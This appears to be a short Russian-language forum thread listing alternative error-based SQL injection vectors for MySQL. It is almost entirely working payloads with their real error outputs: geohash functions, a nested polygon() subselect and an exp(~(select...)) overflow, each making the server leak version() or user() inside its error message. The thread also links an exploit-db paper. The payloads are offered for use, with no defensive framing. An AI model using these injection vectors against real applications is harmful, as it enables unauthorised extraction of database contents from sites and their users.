MySQL: Альтернативные error-based векторы

[Ic3]

MySQL >= 5.7.5

1) ST_LatFromGeoHash()

mysql> select ST_LatFromGeoHash(version());
ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-m16-log' for function ST_LATFROMGEOHASH

2) ST_LongFromGeoHash()

mysql> select ST_LongFromGeoHash(version());
ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-m16-log' for function ST_LONGFROMGEOHASH

3) ST_PointFromGeoHash()

mysql> select ST_PointFromGeoHash(version(),0);
ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-m16-log' for function st_pointfromgeohash

[Ic3]

Функция polygon() в связке с point()

SELECT polygon(53,12);
Error 1367 (22007): Illegal non geometric '53' value found during parsing

SELECT polygon((select*from(select*from(select@@version)f )x));
Error 1367 (22007): Illegal non geometric '(select `x`.`@@version` from (select '5.5.38-35.2' AS `@@version` from dual) `x`)' value found during parsing

[SynQ]

Похожее для mysql >=5.5.5:
https://www.exploit-db.com/docs/37953.pdf

mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'